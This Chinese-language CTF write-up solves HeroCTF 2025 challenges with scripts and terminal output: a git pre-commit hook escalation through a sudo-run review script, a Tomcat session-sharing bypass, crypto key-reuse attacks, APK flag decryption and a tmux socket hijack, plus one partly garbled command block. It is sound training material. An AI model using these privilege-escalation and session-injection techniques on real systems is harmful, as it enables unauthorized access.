HeroCTF 2025--部分题解

一、MISC

1、LSD#4

题目描述:Don't try to throw random tools at this poor image. Go back to the basics and learn the detection techniques.

这个是一个图片隐写题,可以用隐写工具查看,我是写了一脚本

复制代码
from PIL import Image

im = Image.open("secret.png")
pix = im.load()

start_x, start_y = 1000, 1000
square_size = 100

# 只取 R 通道 LSB
bits = []
for y in range(start_y, start_y + square_size):
    for x in range(start_x, start_x + square_size):
        r = pix[x, y][0]
        bits.append(r & 1)

# 转字节
byte_array = []
for i in range(0, len(bits) - 7, 8):
    byte_val = 0
    for j in range(8):
        byte_val = (byte_val << 1) | bits[i + j]
    byte_array.append(byte_val)

text = bytes(byte_array).decode('latin-1')  # 先用 latin-1 避免解码错误
if "Hero" in text:
    idx = text.index("Hero")
    print("Found possible flag:")
    print(text[idx:idx+50])
else:
    # 检查所有字节中是否有 Hero{ 的字节序列
    byte_str = bytes(byte_array)
    import re
    matches = re.findall(b'Hero\{[^}]+\}', byte_str)
    if matches:
        print(matches[0].decode())
    else:
        print("No flag found in R channel LSB")
        print("First 200 bytes as text:", text[:200])

#  输出内容中即可看到Hero{M4YB3_TH3_L4ST_LSB?}

2、Neverland

题目描述:Peter Pan and Captain Hook are once again fighting in Neverland, instead of working and pushing PRs into production. Since this is a regular occurence, we have created a script that allows the intern to review PRs in their stead. Please don't touch Peter's fairy powder stock in /home/peter/flag.txt (i'm still convinced it's cocaine though, why else would they run around with swords in the office pretending they are flying ??)

创建实例后,通过尝试发现以下几点:

  1. 问题:需要以 intern 用户读取 /home/peter/flag.txt

  2. 限制:只能通过 sudo -u peter /opt/commit.sh 执行

  3. 漏洞利用:

    • 创建了一个混合 Git 仓库,通过符号链接共享 /app/.git 的对象和配置

    • 这样能通过 commit 哈希检查和 config 哈希检查

    • 在本地保留了 .git/hooks/ 目录的控制权

    • 设置了 pre-commit 钩子在提交前读取 flag

    • 即使钩子返回错误(exit 1),flag 已经被成功读取

  4. 关键技巧:部分符号链接(objects、refs、config)加上本地 hooks 目录,既满足了安全检查,又实现了代码执行。

    intern@neverland:~/linked_repo ln -s /app/.git/refs .git/refs intern@neverland:~/linked_repo ln -s /app/.git/config .git/config
    intern@neverland:~/linked_repo echo "ref: refs/heads/master" > .git/HEAD intern@neverland:~/linked_repo cat > .git/hooks/pre-commit << 'EOF'
    #!/bin/bash
    cat /home/peter/flag.txt > cat > .git/hooks/pre-commit << 'EOF'
    #!/bin/bash
    cat /home/peter/flag.txt > /tmp/pre_commit_flag.txt
    exit 1
    EOF

    intern@neverland:~/linked_repo chmod +x .git/hooks/pre-commit intern@neverland:~/linked_repo echo "test" > file.txt
    intern@neverland:~/linked_repo cd .. intern@neverland:~ tar -czf linked.tar.gz linked_repo
    intern@neverland:~$ sudo -u peter /opt/commit.sh /home/intern/linked.tar.gz
    [ADMIN GIT COMMIT] Received submission: /home/intern/linked.tar.gz
    [ADMIN GIT COMMIT] Extracting archive to temporary directory: /home/peter/git-review-227
    [ADMIN GIT COMMIT] Changed directory to /home/peter/git-review-227/linked_repo
    [ADMIN GIT COMMIT] Verifying that your repository is up-to-date...
    [ADMIN GIT COMMIT] Admin's latest commit: 4f08afb812db3314e17b1da80a8782610c1a6d02
    [ADMIN GIT COMMIT] Your latest commit: 4f08afb812db3314e17b1da80a8782610c1a6d02
    [ADMIN GIT COMMIT] SUCCESS: Commit history matches.
    [ADMIN GIT COMMIT] Verifying integrity of .git/config file...
    [ADMIN GIT COMMIT] Admin's .git/config hash: cfe7ba1238c9a78be7535d7c63bcaf5a4d5011d46b07c9b45d3bbf7d6c312dfe
    [ADMIN GIT COMMIT] Your .git/config hash: cfe7ba1238c9a78be7535d7c63bcaf5a4d5011d46b07c9b45d3bbf7d6c312dfe
    [ADMIN GIT COMMIT] SUCCESS: .git/config is valid. Proceeding with review.
    [ADMIN GIT COMMIT] Reviewing your proposed changes...

    On branch master
    Changes to be committed:
    (use "git restore --staged <file>..." to unstage)
    deleted: file.txt

    Untracked files:
    (use "git add <file>..." to include in what will be committed)
    file.txt


    [ADMIN GIT COMMIT] Everything looks good. Adding your changes to the staging area.
    [ADMIN GIT COMMIT] Committing your changes to the official branch. Stand by...
    intern@neverland:~ cat /tmp/pre_commit_flag.txt Hero{c4r3full_w1th_g1t_hO0k5_d4dcefb250aa8c2ffabaa57119e3bc42} intern@neverland:~

二、Crypto

1、Andor

题目描述:Would you rather be inside solving challenges AND getting flags OR outside touching grass ?

可以拿到一个压缩包

复制代码
# 解压查看一下都什么文件
└─# ls
chall.py  Dockerfile  entry.sh  flag.txt

# 查看文件具体内容
└─# cat chall.py 
#!/usr/bin/env python3
import secrets

AND = lambda x, y: [a & b for a, b in zip(x, y)]
IOR = lambda x, y: [a | b for a, b in zip(x, y)]

with open("flag.txt", "rb") as f:
    flag = [*f.read().strip()]
    l = len(flag) // 2

while True:
    k = secrets.token_bytes(len(flag))
    a = AND(flag[:l], k[:l])
    o = IOR(flag[l:], k[l:])

    print("a =", bytearray(a).hex())
    print("o =", bytearray(o).hex())
    input("> ")
                                                                                                                                                                                                      
└─# cat Dockerfile            
FROM python:3.11-alpine@sha256:610ede222c1fa9675c694c99429f8d2c1b4e243f1982246da9e540eb5800ee4a

RUN apk --update add socat \
        && adduser -D --home /app user

COPY --chown=user chall.py entry.sh flag.txt /app

RUN chmod 755 /app/entry.sh /app/chall.py

WORKDIR /app

EXPOSE ${LISTEN_PORT}

ENTRYPOINT ["/app/entry.sh"]                                                                                                                                                                                                      

└─# cat entry.sh     
#! /bin/sh

while :
do
    su -c "exec socat TCP-LISTEN:${LISTEN_PORT},forever,reuseaddr,fork EXEC:'/app/chall.py'" - user;
done

代码分析:

  1. AND 运算:a & k

    • 如果 flag 的某位是 0,结果永远是 0

    • 如果 flag 的某位是 1,结果可能是 0 或 1(取决于 k)

    • 所以只要某位出现过 1,就能确定 flag 该位是 1

  2. OR 运算:o | k

    • 如果 flag 的某位是 1,结果永远是 1

    • 如果 flag 的某位是 0,结果可能是 0 或 1(取决于 k)

    • 所以只要某位出现过 0,就能确定 flag 该位是 0

通过收集足够多的随机样本,我们就能逐位恢复出完整的 flag。

搞一个脚本

python 复制代码
from pwn import *

def collect_data(num_rounds=100):
    p = remote('x.x.x.x', 9000)
    data = []
    
    for round_num in range(num_rounds):
        try:
            print(f"Round {round_num + 1}/{num_rounds}")
            
            line1 = p.recvline(timeout=5).decode().strip()
            print(f"  a: {line1}")
            
            line2 = p.recvline(timeout=5).decode().strip()
            print(f"  o: {line2}")
            
            prompt = p.recvuntil(b'> ', timeout=5)
            
            a_hex = line1.split('a = ')[1]
            o_hex = line2.split('o = ')[1]
            
            a_bytes = bytes.fromhex(a_hex)
            o_bytes = bytes.fromhex(o_hex)
            data.append((a_bytes, o_bytes))
            
            p.sendline(b'next')
            
        except EOFError:
            print("Connection closed by server")
            break
        except Exception as e:
            print(f"Error at round {round_num}: {e}")
            break
    
    p.close()
    return data

def recover_flag(data):
    if not data:
        return None
    
    half_len = len(data[0][0])
    total_len = half_len * 2
    
    print(f"Flag length: {total_len} bytes (half: {half_len})")
    
    flag_bytes = bytearray(total_len)
    
    print("Processing AND part...")
    for i in range(half_len):
        byte_val = 0
        for bit in range(8):
            mask = 1 << bit
            # 如果这个比特位在任意一轮中为 1,那么 flag 的该位就是 1
            for a_bytes, _ in data:
                if a_bytes[i] & mask:
                    byte_val |= mask
                    break
        flag_bytes[i] = byte_val
    
    # 处理后半部分 (OR 操作)
    print("Processing OR part...")
    for i in range(half_len, total_len):
        byte_val = 0
        for bit in range(8):
            mask = 1 << bit
            # 如果这个比特位在任意一轮中为 0,那么 flag 的该位就是 0
            found_zero = False
            for _, o_bytes in data:
                idx = i - half_len  # 在 o_bytes 中的索引
                if not (o_bytes[idx] & mask):
                    found_zero = True
                    break
            # 如果从未出现过 0,那么 flag 的该位就是 1
            if not found_zero:
                byte_val |= mask
        flag_bytes[i] = byte_val
    
    return bytes(flag_bytes)

# 主程序
print("Collecting data...")
data = collect_data(50)  # 先收集50轮试试
print(f"Collected {len(data)} rounds of data")

if len(data) > 0:
    print("Recovering flag...")
    flag = recover_flag(data)

    if flag:
        print("Recovered bytes:", len(flag))
        # 尝试解码为字符串
        try:
            flag_str = flag.decode('ascii')
            print("Flag:", flag_str)
        except:
            print("Flag contains non-ASCII bytes")
            print("Hex:", flag.hex())
            # 尝试找到 Hero{ 模式
            if b'Hero{' in flag:
                start = flag.index(b'Hero{')
                # 尝试提取到 }
                end = flag.index(b'}', start) + 1
                print("Found flag:", flag[start:end].decode())
else:
    print("No data collected")

# 运行结果中即可看到flag  Hero{y0u_4nd_5l33p_0r_y0u_4nd_c0ff33_3qu4l5_fl4g_4nd_p01n75}

2、Perilous

题目描述:I've made a RC4 encryption service and I want you to test its security. Decryption isn't supported though :p

依然是给了一个压缩包

python 复制代码
# 解压看看都什么文件
└─# ls
chall.py  Dockerfile  entry.sh  flag.txt
  
# 查看一下具体内容                                                                                                                                                                                                    
└─# cat chall.py
#!/usr/bin/env python3
from cryptography.hazmat.decrepit.ciphers import algorithms
from cryptography.hazmat.primitives.ciphers import Cipher
import os

with open("flag.txt", "rb") as f:
    FLAG = f.read()

MASK = os.urandom(len(FLAG))
KEYS = []


def xor(a: bytes, b: bytes) -> bytes:
    return bytes(x ^ y for x, y in zip(a, b * (1 + len(a) // len(b))))


def encrypt(k: str, m: str) -> str:
    k = bytes.fromhex(k)
    m = bytes.fromhex(m)

    if k in KEYS:
        raise Exception("Duplicate key used, aborting")

    KEYS.append(k)

    algorithm = algorithms.ARC4(k)
    cipher = Cipher(algorithm, mode=None)
    encryptor = cipher.encryptor()

    m = xor(m, MASK)
    m = encryptor.update(m)
    m = xor(m, MASK)
    return m.hex()


print(
    "Welcome to my RC4 encryption service! Some may call it deprecated, I call it vintage.",
)

k = input("flag k: ")
print(encrypt(k, FLAG.hex()))

while True:
    k = input("k: ")
    m = input("m: ")
    print(encrypt(k, m))
                                                                                                                                                                                                      

└─# cat Dockerfile            
FROM python:3.11-alpine@sha256:610ede222c1fa9675c694c99429f8d2c1b4e243f1982246da9e540eb5800ee4a

RUN apk --update add socat \
        && pip3 install cryptography==46.0.2 \
        && adduser -D --home /app user

COPY --chown=user chall.py entry.sh flag.txt /app

RUN chmod 755 /app/entry.sh /app/chall.py

WORKDIR /app

EXPOSE ${LISTEN_PORT}

ENTRYPOINT ["/app/entry.sh"]

分析代码可知:

  1. 问题分析:RC4 加密服务,但重复使用相同密钥会触发异常

  2. 攻击方法:使用两个独立的连接

    • 第一个连接:用目标密钥加密 flag 获取密文

    • 第二个连接:先用虚拟密钥通过第一次检查,然后用目标密钥加密全零获取密钥流

  3. 数学原理:flag = encrypted_flag XOR keystream

  4. 解密拿到flag

实现脚本

python 复制代码
from pwn import *

def xor(a, b):
    return bytes(x ^ y for x, y in zip(a, b))

host = "x.x.x.x"
port = 9001

r1 = remote(host, port)
r1.recvuntil(b"flag k:")
r1.sendline(b"41" * 16)  # 16字节密钥
enc_flag_hex = r1.recvline(timeout=2).decode().strip()
print("Encrypted flag:", enc_flag_hex)
enc_flag = bytes.fromhex(enc_flag_hex)
flag_len = len(enc_flag)
r1.close()

r2 = remote(host, port)
r2.recvuntil(b"flag k:")
r2.sendline(b"00" * 16)
r2.recvuntil(b"k:")
r2.sendline(b"41" * 16)
r2.recvuntil(b"m:")
zeros = "00" * flag_len
r2.sendline(zeros.encode())
keystream_hex = r2.recvline(timeout=2).decode().strip()
print("Keystream:", keystream_hex)
keystream = bytes.fromhex(keystream_hex)
r2.close()

flag = xor(enc_flag, keystream)
print("Flag:", flag.decode())

#  运行结果即可看到Flag: Hero{7h3_p3r1l5_0f_r3p3471n6_p4773rn5}

三、WEB

1、Tomwhat

题目描述:May The Force Be With You

同样给了一个压缩包,这个包里边东西比较多,只贴一部分

python 复制代码
└─# cat challenge/dark/WEB-INF/classes/com/example/dark/DarkServlet.java
package com.example.dark;

import java.io.IOException;
import jakarta.servlet.ServletException;
import jakarta.servlet.http.*;

public class DarkServlet extends HttpServlet {

    @Override
    protected void doGet(HttpServletRequest req, HttpServletResponse resp)
            throws ServletException, IOException {

        resp.setContentType("text/html;charset=UTF-8");

        HttpSession s = req.getSession(false);
        String username = s == null ? null : (String) s.getAttribute("username");

        StringBuilder html = new StringBuilder();
        html.append("<html><body><h1>Dark Side</h1>");

        if (username == null)
            html.append("<p>Welcome to the dark side Darth Not Already Sidious.</p>");
        else
            html.append("<p>Welcome to the dark side Darth ").append(username).append("</p>");

        html.append("<a href='admin'>Admin interface</a>");

        html.append("</body></html>");
        resp.getWriter().write(html.toString());
    }
}
                                                                                                                                                                                                      

└─# cat challenge/dark/WEB-INF/classes/com/example/dark/AdminServlet.java
package com.example.dark;

import java.io.IOException;
import jakarta.servlet.ServletException;
import jakarta.servlet.http.*;

public class AdminServlet extends HttpServlet {

    @Override
    protected void doGet(HttpServletRequest req, HttpServletResponse resp)
            throws ServletException, IOException {

        resp.setContentType("text/html;charset=UTF-8");

        HttpSession s = req.getSession(false);
        String username = s == null ? null : (String) s.getAttribute("username");

        StringBuilder html = new StringBuilder("<html><body><h1>Admin Panel</h1>");

        if ("darth_sidious".equalsIgnoreCase(username)) {
            html.append("<p>Welcome Lord Sidious, Vador says: Hero{fake_flag}.</p>");
        } else {
            html.append("<p>Access denied.</p>");
        }

        html.append("</body></html>");
        resp.getWriter().write(html.toString());
    }
}
                                                                                                                                                                                                      

└─# cat challenge/light/WEB-INF/classes/com/example/light/LightServlet.java
package com.example.light;

import java.io.IOException;
import jakarta.servlet.ServletException;
import jakarta.servlet.http.*;

public class LightServlet extends HttpServlet {

    @Override
    protected void doGet(HttpServletRequest req, HttpServletResponse resp)
            throws ServletException, IOException {

        resp.setContentType("text/html;charset=UTF-8");
        HttpSession session = req.getSession();
        String username = (String) session.getAttribute("username");
        String error = (String) req.getAttribute("error");

        StringBuilder html = new StringBuilder();
        html.append("<html><body><h1>Light Side</h1>");

        if (error != null) {
            html.append("<p style='color:red;'>").append(error).append("</p>");
        }

        html.append("<form method='post'>");
        html.append("<input name='username' />");
        html.append("<button type='submit'>Join</button>");
        html.append("</form>");

        if (username != null) {
            html.append("<p>You are on the good side Lord ").append(username).append("</p>");
            html.append("<form action='/dark/' method='get'><button>Go dark</button></form>");
        }

        html.append("</body></html>");
        resp.getWriter().write(html.toString());
    }

    @Override
    protected void doPost(HttpServletRequest req, HttpServletResponse resp)
            throws ServletException, IOException {
        String username = req.getParameter("username");
        if ("darth_sidious".equalsIgnoreCase(username)) {
            req.setAttribute("error", "Forbidden username.");
            doGet(req, resp);
            return;
        }
        req.getSession().setAttribute("username", username);
        resp.sendRedirect(req.getContextPath() + "/");
    }
}

总结分析代码的发现:

  1. Session 共享漏洞:Tomcat 配置了 sessionCookiePath="/",使得 session 在所有 webapp 之间共享

  2. SessionExample 应用:Tomcat 自带的 examples 应用提供了直接设置 session 属性的功能

  3. 绕过过滤:通过 SessionExample 直接设置 username=darth_sidious,绕过了 Light Side 的过滤检查

  4. Admin Panel 访问:使用设置了正确用户名的 session 访问 /dark/admin 获取 flag

实现拿到flag的过程

bash 复制代码
# 1. 获取初始 session
curl -c cookies.txt "http://x.x.x.x:11332/light/"

# 2. 通过 SessionExample 设置 username
curl -b "JSESSIONID=YOUR_SESSION_ID" \
  -d "dataname=username" \
  -d "datavalue=darth_sidious" \
  "http://x.x.x.x:11332/examples/servlets/servlet/SessionExample"

# 3. 获取 flag
curl -b "JSESSIONID=YOUR_SESSION_ID" \
  "http://x.x.x.x:11332/dark/admin"

# 第三步获得flag Hero{a2ae73558d29c6d438353e2680a90692}

四、Rev

1、Freeda Simple Hook

题目描述:Try to find the password to open this vault!

bash 复制代码
# 检查一下文件类型
└─# file app-release.apk 
app-release.apk: Android package (APK), with gradle app-metadata.properties, with APK Signing Block

# 提取APK信息,解压APK
└─# apktool d app-release.apk -o extracted_apk       
I: Using Apktool 2.7.0-dirty on app-release.apk
I: Loading resource table...
I: Decoding AndroidManifest.xml with resources...
I: Loading resource table from file: /root/.local/share/apktool/framework/1.apk
I: Regular manifest package...
I: Decoding file-resources...
I: Decoding values */* XMLs...
I: Baksmaling classes.dex...
I: Copying assets and libs...
I: Copying unknown files...
I: Copying original files...

通过cat AndroidManifest.xml | grep -E "package=|android:name" | head -10和find . -name "*.smali" | grep -i "vault\|password\|check"等命令找一下关键信息:

  • 包名: com.heroctf.freeda1

  • 主活动: com.heroctf.freeda1.MainActivity

  • 关键类:

    • com.heroctf.freeda1.utils.Vault

    • com.heroctf.freeda1.utils.CheckFlag

通过命令查看一下Vault.smali和CheckFlag.smali,内容太长了,就把命令放这了

bash 复制代码
cat extracted_apk/smali/com/heroctf/freeda1/utils/Vault.smali

cat extracted_apk/smali/com/heroctf/freeda1/utils/CheckFlag.smali

通过分析内容:

  1. 关键类 VaultCheckFlag

  2. 理解解密逻辑:

    • CheckFlag.checkFlag() 使用反射调用 Vault.get_flag()

    • Vault.get_flag() 包含复杂的解密算法

    • 使用基于类名哈希的种子值

    • 对加密字节数组进行索引重排、位旋转和 XOR 操作

  3. 重现解密算法:

    • 正确实现 Java 的 String.hashCode()

    • 重现 Xorshift PRNG 用于索引随机化

    • 实现位旋转和 XOR 解密逻辑

实现脚本

python 复制代码
array_0 = [
    0x63, 0x6f, 0x6d, 0x2e, 0x68, 0x65, 0x72, 0x6f, 0x63, 0x74,
    0x66, 0x2e, 0x66, 0x72, 0x65, 0x65, 0x64, 0x61, 0x31, 0x2e,
    0x4d, 0x61, 0x69, 0x6e, 0x41, 0x63, 0x74, 0x69, 0x76, 0x69,
    0x74, 0x79
]

array_1 = [
    0x63, 0x6f, 0x6d, 0x2e, 0x68, 0x65, 0x72, 0x6f, 0x63, 0x74,
    0x66, 0x2e, 0x66, 0x72, 0x65, 0x65, 0x64, 0x61, 0x31, 0x2e,
    0x75, 0x74, 0x69, 0x6c, 0x73, 0x2e, 0x43, 0x68, 0x65, 0x63,
    0x6b, 0x46, 0x6c, 0x61, 0x67
]

str1 = ''.join(chr(c) for c in array_0)
str2 = ''.join(chr(c) for c in array_1)

print("String 1:", str1)
print("String 2:", str2)

# 正确的 Java hashCode 实现
def java_string_hashcode(s):
    h = 0
    for char in s:
        h = (31 * h + ord(char)) & 0xFFFFFFFF
    if h & 0x80000000:
        h = -((~h + 1) & 0xFFFFFFFF)
    return h

# 计算种子值
def calculate_seed():
    v2 = -0x3f0011be  # -1056969154
    h1 = java_string_hashcode(str1)
    h2 = java_string_hashcode(str2)
    
    print(f"Hash1: {h1} (0x{h1 & 0xFFFFFFFF:08X})")
    print(f"Hash2: {h2} (0x{h2 & 0xFFFFFFFF:08X})")
    
    v0 = (h1 ^ v2) & 0xFFFFFFFF
    v0 = (v0 ^ h2) & 0xFFFFFFFF
    
    # rotateLeft(v0, 7)
    v1 = ((v0 << 7) | ((v0 & 0xFFFFFFFF) >> (32 - 7))) & 0xFFFFFFFF
    v1 = (v1 * -0x61c88647) & 0xFFFFFFFF
    result = (v0 ^ v1) & 0xFFFFFFFF
    
    # 转换为有符号
    if result & 0x80000000:
        result = -((~result + 1) & 0xFFFFFFFF)
    
    return result

# Vault 中的加密字节数组
encrypted_bytes = [
    0x34, 0x58, 0x1b, 0x20, 0x1b, 0xba, 0x60, 0x6d, 0x2d, 0xca,
    0x2a, 0x7d, 0x19, 0x86, 0x9f, 0x45, 0x2f, 0x8e, 0xc0, 0xb8,
    0x0d, 0x13, 0x8b, 0xad, 0x3b, 0x81, 0x00, 0x9e, 0xa5, 0xbc,
    0x0d, 0x3e, 0x4a, 0xb8, 0x3a, 0x4b, 0xac, 0xca, 0x42
]

def get_flag():
    seed = calculate_seed()
    print(f"Seed value: {seed} (0x{seed & 0xFFFFFFFF:08X})")
    
    # 创建索引数组
    indices = list(range(0x27))
    
    # 随机化索引数组
    v4 = (-0x5a5a5a5b ^ seed) & 0xFFFFFFFF
    
    for i in range(0x26, -1, -1):
        # Xorshift PRNG
        v4 = (v4 ^ (v4 << 13)) & 0xFFFFFFFF
        v4 = (v4 ^ (v4 >> 17)) & 0xFFFFFFFF  
        v4 = (v4 ^ (v4 << 5)) & 0xFFFFFFFF
        
        # 计算随机索引 (使用无符号long)
        rand_idx = (v4 & 0xFFFFFFFF) % (i + 1)
        
        # 交换
        indices[i], indices[rand_idx] = indices[rand_idx], indices[i]
    
    print("First 10 indices:", indices[:10])
    
    # 解密字节
    decrypted = [0] * 0x27
    for i in range(0x27):
        idx = indices[i]
        encrypted_byte = encrypted_bytes[idx] & 0xFF
        
        # temp = encrypted_byte - i 
        temp = (encrypted_byte - i) & 0xFF
        
        # 位旋转逻辑
        # ushr-int/lit8 v6, v0, 0x1b
        # and-int/lit8 v6, v6, 0x7
        shift = (seed >> 0x1B) & 0x7
        
        # ushr-int v7, v5, v6
        # rsub-int/lit8 v6, v6, 0x8  
        # shl-int/2addr v5, v6
        # or-int/2addr v5, v7
        right_shift = temp >> shift
        left_shift = (temp << (8 - shift)) & 0xFF
        rotated = (right_shift | left_shift) & 0xFF
        
        # XOR 操作
        # and-int/lit8 v6, v3, 0x3
        # mul-int/lit8 v6, v6, 0x8
        # ushr-int v6, v0, v6
        shift_amount = (i & 0x3) * 8
        xor_key = (seed >> shift_amount) & 0xFF
        
        decrypted_byte = rotated ^ xor_key
        decrypted[i] = decrypted_byte
    
    # 显示结果
    print("\nDecrypted bytes (hex):", [f"{b:02x}" for b in decrypted])
    
    # 尝试作为字符串显示
    as_chars = []
    for b in decrypted:
        if 32 <= b <= 126:
            as_chars.append(chr(b))
        else:
            as_chars.append('.')
    
    result_str = ''.join(as_chars)
    print("As characters:", result_str)
    
    # 检查常见模式
    if 'Hero' in result_str:
        print("*** FOUND 'Hero' PATTERN ***")
    
    return decrypted, result_str

# 运行解密
decrypted_bytes, result_str = get_flag()

# 如果没找到,尝试其他方法
if 'Hero' not in result_str:
    print("\n=== Alternative approach: Direct analysis ===")
    
    # 尝试直接查看加密数组的模式
    print("Encrypted bytes pattern analysis:")
    
    # 检查是否有简单的变换
    for key in range(256):
        test = ''.join(chr((b - i) & 0xFF ^ key) if 32 <= ((b - i) & 0xFF ^ key) < 127 else '.' 
                      for i, b in enumerate(encrypted_bytes))
        if 'Hero' in test:
            print(f"Found with key 0x{key:02x}: {test}")
    
    # 尝试位置相关的XOR
    for base_key in [0x13, 0x37, 0x42, 0x69]:
        test = ''.join(chr((b ^ (base_key + i)) & 0xFF) if 32 <= ((b ^ (base_key + i)) & 0xFF) < 127 else '.'
                      for i, b in enumerate(encrypted_bytes))
        if 'Hero' in test:
            print(f"Found with positional key 0x{base_key:02x}: {test}")

#  运行结果As characters: Hero{1_H0P3_Y0U_D1DN'T_S7A71C_4N4LYZ3D}

2、The Chef's Secret Recipe

题目描述:You will never guess the secret recipe for my secret flag-cake !

python 复制代码
# 检查文件类型
└─# file my_secret_recipe                             
my_secret_recipe: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=6cb2bb5b0deb01af01607f6b8bec1664200e591d, for GNU/Linux 4.4.0, not stripped

# 运行看看程序行为
└─# ./my_secret_recipe test
🍰 The Chef's Secret Recipe: 
        To bake the perfect flag-cake: sift the flour, add sugar, crack some eggs,
        melt the butter, blend in vanilla and milk, whisk the cocoa, fold in the baking powder,
        swirl in the cream, chop some cherry, toss on sprinkles, preheat the oven, grease the pan,
        line it with parchment, set the timer, light a candle, serve on a plate, and garnish with frosting,
        a pinch of salt, and crushed nuts for that final touch of sweetness. 

[-] Nope

看看跟什么字符串比较

python 复制代码
ltrace ./my_secret_recipe abcdefg 2>&1 | grep strcmp

strcmp("Hero{0h_N0_y0u_60T_My_S3cReT_C4k"..., "test") = -44

# 看起来像是被截断了,查看一下完整的

ltrace -s 100 ./my_secret_recipe test 2>&1 | grep strcmp
strcmp("Hero{0h_N0_y0u_60T_My_S3cReT_C4k3_R3c1pe}g\t\307\f\177", "test") = -44

# 嗯哼  直接得到了

五、SYSTEM

1、Movie Night

题目描述:Dallas: Something has attached itself to him. We have to get him to the infirmary right away.

连接上后看看

bash 复制代码
user@movie_night:~$ ls
user@movie_night:~$ pwd
/home/user

# 尝试运行找flag,权限被拒绝
user@movie_night:~$ cat /home/dev/flag.txt
cat: /home/dev/flag.txt: Permission denied

#  继续尝试收集信息
user@movie_night:~$ id
uid=1001(user) gid=1001(user) groups=1001(user),100(users)
user@movie_night:~$ groups
user users
user@movie_night:~$ sudo -l
Matching Defaults entries for user on movie_night:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, use_pty

User user may run the following commands on movie_night:
    (user) NOPASSWD: ALL
user@movie_night:~$ ls -la /tmp/
total 8
drwxrwxrwt 1 root root 4096 Nov 29 08:55 .
drwxr-xr-x 1 root root 4096 Nov 29 08:55 ..
srw-rw-rw- 1 dev  dev     0 Nov 29 08:55 tmux-1002

# 这不就发现了一个有意思的文件,这是一个tmux会话的socket文件,属于 dev 用户,并且有全局读写权限。我们可以尝试连接到这个tmux会话
user@movie_night:~$ tmux -S /tmp/tmux-1002 attach

# 果然进来了,这不久能拿到flag了
dev@movie_night:~$
dev@movie_night:~$ cat /home/dev/flag.txt
Hero{1s_1t_tmux_0r_4l13n?_a20bac4b5aa32e8d9a8ccb75d228ca3e}

六、PWN

1、Paf Traversal

题目描述:Your mission is to audit a high-performance hash-cracking platform. It achieves its speed by combining a Go-based API server with a C-powered hash-cracking service.

可以拿到一个压缩包

bash 复制代码
# 解压看一下
└─# unzip paf_traversal.zip 
Archive:  paf_traversal.zip
   creating: paf_traversal/
  inflating: paf_traversal/Dockerfile  
   creating: paf_traversal/cracker/
  inflating: paf_traversal/cracker/main.c  
  inflating: paf_traversal/cracker/cracker  
  inflating: paf_traversal/cracker/Makefile  
   creating: paf_traversal/api/
  inflating: paf_traversal/api/main.go  
   creating: paf_traversal/api/assets/
  inflating: paf_traversal/api/assets/styles.css  
  inflating: paf_traversal/api/assets/app.js  
  inflating: paf_traversal/api/go.sum  
   creating: paf_traversal/api/templates/
  inflating: paf_traversal/api/templates/index.tmpl  
  inflating: paf_traversal/api/routers.go  
  inflating: paf_traversal/api/api   
   creating: paf_traversal/api/controllers/
  inflating: paf_traversal/api/controllers/wordlist_controller.go  
  inflating: paf_traversal/api/controllers/schemas.go  
  inflating: paf_traversal/api/controllers/config.go  
  inflating: paf_traversal/api/controllers/bruteforce_controller.go  
  inflating: paf_traversal/api/go.mod  
   creating: paf_traversal/api/wordlists/
 extracting: paf_traversal/api/wordlists/.gitkeep  
  inflating: paf_traversal/entrypoint.sh

# 内容很多,就是不断查看具体内容了,我这里贴出来一部分
└─# cat paf_traversal/api/main.go 
package main

func main() {
	router := SetupRouter()

	err := router.Run(":8000")
	if err != nil {
		return
	}
}

└─# cat paf_traversal/api/routers.go 
package main

import (
	"net/http"
	"paf-traversal/controllers"

	"github.com/gin-gonic/gin"
)

func SetupRouter() *gin.Engine {
	router := gin.Default()
	router.MaxMultipartMemory = 8 << 20 // 8 MiB
	router.Static("/assets", "./assets/")
	router.LoadHTMLGlob("./templates/*")

	router.NoRoute(func(c *gin.Context) {
		c.JSON(http.StatusNotFound, gin.H{
			"error":  "route not found",
			"method": c.Request.Method,
			"path":   c.Request.URL.Path,
			"status": http.StatusNotFound,
		})
	})

	router.NoMethod(func(c *gin.Context) {
		c.JSON(http.StatusMethodNotAllowed, gin.H{
			"error":  "method not allowed",
			"method": c.Request.Method,
			"path":   c.Request.URL.Path,
			"status": http.StatusMethodNotAllowed,
		})
	})

	router.GET("/", func(c *gin.Context) {
		c.HTML(http.StatusOK, "index.tmpl", gin.H{})
	})

	apiGroup := router.Group("/api")
	{
		wordlistGroup := apiGroup.Group("/wordlist")
		{
			wordlistGroup.GET("", controllers.HandleListWordlist)
			wordlistGroup.POST("/download", controllers.HandleDownloadWordlist)
			wordlistGroup.POST("", controllers.HandleUploadWordlist)
			wordlistGroup.DELETE("", controllers.HandleDeleteWordlist)
		}
		bruteforceGroup := apiGroup.Group("/bruteforce")
		{
			bruteforceGroup.POST("", controllers.StartBruteforce)
		}
	}

	return router
}

└─# cat paf_traversal/cracker/main.c 
#include <stdio.h>
#include <string.h>
#include <openssl/md5.h>
#include <openssl/sha.h>
#include <stdlib.h>
#include <unistd.h>
#include <signal.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <errno.h>

static const char *FIFO_IN  = "/tmp/cracker.in";
static const char *FIFO_OUT = "/tmp/cracker.out";
static volatile sig_atomic_t stop_flag = 0;

static void compute_md5(const unsigned char *data, size_t data_len, unsigned char* out) {
    MD5(data, data_len, out);
}
static void compute_sha1(const unsigned char *data, size_t data_len, unsigned char* out) {
    SHA1(data, data_len, out);
}
static void compute_sha256(const unsigned char *data, size_t data_len, unsigned char* out) {
    SHA256(data, data_len, out);
}
static void compute_sha512(const unsigned char *data, size_t data_len, unsigned char* out) {
    SHA512(data, data_len, out);
}

typedef void (*compute_fn)(const unsigned char *data, size_t data_len, unsigned char* out);

static void cleanup_fifos(void) {
    unlink(FIFO_IN);
    unlink(FIFO_OUT);
}

static void signal_handler(int signum) {
    (void)signum;
    stop_flag = 1;
    cleanup_fifos();
    exit(0);
}

static void to_hex(const unsigned char *data, size_t length, char *out) {
    for (size_t i = 0; i < length; ++i) {
        sprintf(out + (i * 2), "%02x", data[i]);
    }
    out[length * 2] = '\0';
}

static void from_hex(const char *hex_str, unsigned char *out, size_t out_len) {
    for (size_t i = 0; i < out_len; ++i) {
        sscanf(hex_str + (i * 2), "%2hhx", &out[i]);
    }
}

